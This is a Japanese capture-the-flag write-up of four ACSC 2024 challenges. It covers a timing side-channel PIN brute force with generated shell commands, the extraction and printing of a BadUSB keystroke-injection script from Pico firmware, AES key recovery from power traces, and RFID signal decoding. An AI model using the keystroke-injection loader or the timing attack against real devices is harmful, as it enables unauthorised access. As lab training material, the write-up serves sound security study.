$ file chall chall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=f0f9fb828545e8b165dcddfdb896ef4678947d2c, for GNU/Linux 3.2.0, not stripped $ ./chall @@@ @@@ @@@@@@ @@@ @@@ @@@ @@@@@@@ @@@ @@@ @@@@@@@@ @@@ @@@ @@@ @@@@@@@ @@! @@@ @@! @@@ @@! @@@ @@! @@! !@! @!@ !@! @!@ !@! @!@ !@! !@! @!@ !@! @!@!@!@! @!@ !@! @!! @!! !@! !!! !!!@!!!! !@! !!! !!! !!! :!: !!: !!: !!! !!: !!! !!: !!: ::!!:! :!: !:! :!: !:! :!: :!: :::: :: ::: ::::: :: :: :::: :: : : : : : : : : :: : : : Enter your PIN: hoge Access Denied It didn't take me any time to verify that it's not the pin $ ./chall … Enter your PIN: 1234567890 flag: ACSC{**** REDACTED ****}
問題サーバに接続すると、次のようにシェルが立ち上がる。ただし、PINが変更されているようだ。なんとかしてバイナリを読み出そうにも、実行権限しか持っていない。/proc/(pid)/maps
や /proc/(pid)/mem
から読み出そうにも、それらにはアクセスできなかった。
$ nc vault.chal.2024.ctf.acsc.asia 9999 user@NSJAIL:/home/user$ ./chall … Enter your PIN: 1234567890 Access Denied It didn't take me any time to verify that it's not the pin user@NSJAIL:/home/user$ ls -l ./chall ls: ./chall: Operation not permitted ---x--x--x 1 nobody nogroup 906712 Mar 30 04:42 ./chall
ではどうするか。このバイナリの挙動に注目する。このバイナリはPINを1文字ずつチェックしているわけだけれども、もしその文字が間違っていればその場で終了するし、また1文字チェックするごとに100msの sleep
が入る。つまり、1文字正解していれば少なくとも100ms、5文字正解していれば少なくとも500msの実行時間となるはずだ。この差異を観測すれば1文字ずつPINが特定できるはずだ。
雑に、1文字ずつブルートフォースしつつ実行時間を出力してくれるコマンドを出すJSコードを書く。
let f = '8574', cmd = []; for (let i = 0; i < 10; i++) { const num = (f + i).padEnd(10, '0'); cmd.push(`time bash -c "echo ${num} | ./chall"`); } console.log(cmd.join('\n'));
これで1文字ずつ手作業で特定していく。もっとも実行に時間がかかったものが正解だ。
user@NSJAIL:/home/user$ time bash -c "echo 8574000000 | ./chall" time bash -c "echo 8574100000 | ./chall" time bash -c "echo 8574200000 | ./chall" time bash -c "echo 8574300000 | ./chall" time bash -c "echo 8574400000 | ./chall" time bash -c "echo 8574500000 | ./chall" time bash -c "echo 8574600000 | ./chall" time bash -c "echo 8574700000 | ./chall" time bash -c "echo 8574800000 | ./chall" time bash -c "echo 8574900000 | ./chall" …
8574219362
が正解だった。
Enter your PIN: flag: ACSC{b377er_d3L4y3d_7h4n_N3v3r_b42fd3d840948f3e}
ACSC{b377er_d3L4y3d_7h4n_N3v3r_b42fd3d840948f3e}
[Hardware 200] picopico (55 solves)
Security personnel in our company have spotted a suspicious USB flash drive. They found a Raspberry Pi Pico board inside the case, but no flash drive board. Here's the firmware dump of the Raspberry Pi Pico board. Could you figure out what this 'USB flash drive' is for?
authored by op
添付ファイル: dist-picopico-18a7c81b205ca1de2d152cdbef6a0cb525bdf433.tar.gz
firmware.bin
というファイルが与えられている。strings
で、次のようなPythonスクリプトが抽出できた。不揮発性メモリから何やらデータを読み込んで、そこからコマンドを復元し、キーボードとして振る舞いつつ Win+R
→ cmd
→ enter
→ 復元したコマンドを入力するという処理をしている。実行されるコマンドを復元したい。
L=len o=bytes l=zip import microcontroller import usb_hid from adafruit_hid.keyboard import Keyboard from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS from adafruit_hid.keycode import Keycode w=b"\x10\x53\x7f\x2b" a=0x04 K=43 if microcontroller.nvm[0:L(w)]!=w: microcontroller.nvm[0:L(w)]=w O=microcontroller.nvm[a:a+K] h=microcontroller.nvm[a+K:a+K+K] F=o((kb^fb for kb,fb in l(O,h))).decode("ascii") S=Keyboard(usb_hid.devices) C=KeyboardLayoutUS(S) time.sleep(0.1) S.press(Keycode.WINDOWS,Keycode.R) time.sleep(0.1) S.release_all() time.sleep(1) C.write("cmd",delay=0.1) time.sleep(0.1) S.press(Keycode.ENTER) time.sleep(0.1) S.release_all() time.sleep(1) C.write(F,delay=0.1) time.sleep(0.1) S.press(Keycode.ENTER) time.sleep(0.1) S.release_all() time.sleep(0xFFFFFFFF)
\x10\x53\x7f\x2b
を firmware.bin
で探すと、ちゃんと見つかった。ここを起点にコマンドを復元できないか。次のようなPythonスクリプトを用意する。
s = open('distfiles-picopico/firmware.bin', 'rb').read() L=len o=bytes l=zip w=b"\x10\x53\x7f\x2b" a=0x04 K=43 i = s.find(w) print(i) nvm = s[i:i+a+K+K] print(nvm) O=nvm[a:a+K] h=nvm[a+K:a+K+K] F=o((kb^fb for kb,fb in l(O,h))).decode("ascii") print(F)
実行するとフラグが得られた。
$ python3 s.py 1044480 b"\x10S\x7f+A\xa0qQ\x9f\xca\xfd\x845\n\xd2\xb0\x1e\xa8\xa9\xb7\x10\x1fUz\x8c\x98\xb2i\xef\x92\xc5\x15\xd0K\xff\x87\x17c\xe4b\xc6\xa5\xb2\xbc\x8e\xef\xd8$\xc3\x19>\xbf\x8b\xbe\xd7vq\xe1\x84'\x98\x9d\x87s.c\x19\xbf\xae\xd4\x0b\x8d\xf3\xfdv\xe4s\xcb\xe5%[\xdd\x07\xf6\xc1\xd3\xd9\xb8\x89\xa5" echo ACSC{349040c16c36fbba8c484b289e0dae6f}
ACSC{349040c16c36fbba8c484b289e0dae6f}
[Hardware 200] PWR_Tr4ce (38 solves)
You've been given power traces and text inputs captured from a microcontroller running AES encryption. Your goal is to extract the encryption key.
EXPERIMENT SETUP
scope = chipwhisperer lite
target = stm32f3
AES key length = 16 bytes
authored by Chainfire73
添付ファイル: dist-pwr-tr4ce-d496d6a0966048feffde774458651ced1a411f2e.tar.gz
textins.npy
と traces.npy
というファイルが与えられている。"aes textins traces" のようなクエリでググると、非常にそれっぽい記事がヒットした。ファイル形式等が一致しているように見える。
暗号化に使った鍵を復元する完全なスクリプトもあり、これを今回与えられたファイルに対して適用するとフラグが得られた。スクリプトキディで申し訳ない。
$ python3 s.py Subkey Index: 100%|█████████████████████████████████████████████████████████████████████| 16/16 [09:21<00:00, 35.11s/it] Best guess: 41 43 53 43 7b 50 77 72 21 34 6e 34 6c 79 7a 7d ACSC{Pwr!4n4lyz}
ACSC{Pwr!4n4lyz}
[Hardware 200] RFID_Demod (12 solves)
We have obtained analog trace captured by sniffing a rfid writer when it is writing on a T5577 tag. Can you help us find what DATA is being written to it?
Flag Format: ACSC{UPPERCASE_HEX}
authored by Chainfire73
添付ファイル: dist-rfid-demod-52843135f57a7103a7b5b713797d82d357915a0d.tar.gz
trace.wav
というファイルが与えられている。Audacityで開いてやると、こういう波形が見える。
扱いやすくするために、次のように一定時間で区切りつつ、波の形によって 0
と 1
とを割り当てる。
すると、次のようなビット列が出来上がった。じっと見つめると、(最初の 1
さえ削除すれば)001
と 01
から構成されていることがわかる。
1001010100101001001010101001010010010101010010010100101001001001010100101001010010010100101001001
仮に 001
を 1
に、01
を 0
としてみる。これで 10010110001011000110101110010101101011
という38ビットのビット列が出来上がった。
console.log( '001010100101001001010101001010010010101010010010100101001001001010100101001010010010100101001001'.replaceAll('001', 'x').replaceAll('01', 'y').replaceAll('x', '1').replaceAll('y', '0') )
T5577で検索すると、いい感じのガイドがヒットする。後ろの方で38ビットのデータを送信しているっぽい様子も見つかる。じゃあ、適当に切り取れば実際に送信されているデータが見つかるのではないか。
次のように、3ビット目から32ビット分を切り取ったものがフラグだった。完全にエスパーな解き方をして申し訳ない。
>>> s = '10010110001011000110101110010101101011' >>> hex(int(s[3:3+32],2))[2:].upper() 'B1635CAD'
ACSC{B1635CAD}